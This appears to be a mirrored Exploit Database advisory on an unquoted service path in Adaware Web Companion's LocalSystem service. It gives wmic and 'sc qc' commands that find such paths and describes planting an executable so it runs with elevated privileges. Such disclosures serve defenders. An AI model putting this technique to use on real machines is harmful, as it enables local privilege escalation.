Adaware Web Companion version 4.8.2078.3950 – ‘WCAssistantService’ Unquoted Service Path

• Exploit Database
• 125 阅读

• 作者： Mariela L Martínez Hdez
  日期： 2019-11-07
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/47597/
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  # Exploit Title: Adaware Web Companion version 4.8.2078.3950 - 'WCAssistantService' Unquoted Service Path # Date: 2019-11-06 # Exploit Author: Mariela L Martínez Hdez # Vendor Homepage: https://webcompanion.com/en/ # Software Link: https://webcompanion.com/en/ # Version: Adaware Web Companion version 4.8.2078.3950 # Tested on: Windows 10 Home (64 bits)   # 1. Description # Adaware Web Companion version 4.8.2078.3950 service 'WCAssistantService' has an unquoted service path.   # 2. PoC   C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V """"   WC AssistantWCAssistantServiceC:\Program Files (x86)\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe Auto   C:\>sc qc WCAssistantService [SC] QueryServiceConfig CORRECTO   NOMBRE_SERVICIO: WCAssistantService TIPO : 10WIN32_OWN_PROCESS TIPO_INICIO: 2 AUTO_START CONTROL_ERROR: 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe GRUPO_ORDEN_CARGA: ETIQUETA : 0 NOMBRE_MOSTRAR : WC Assistant DEPENDENCIAS : NOMBRE_INICIO_SERVICIO: LocalSystem     # 3. Exploit # A successful attempt would require the local user to be able to insert their code in the system # root path undetected by the OS or othersecurity applications where it could potentially be executed # during application startup or reboot. If successful, the local user's code would execute with # the elevated privileges of the application.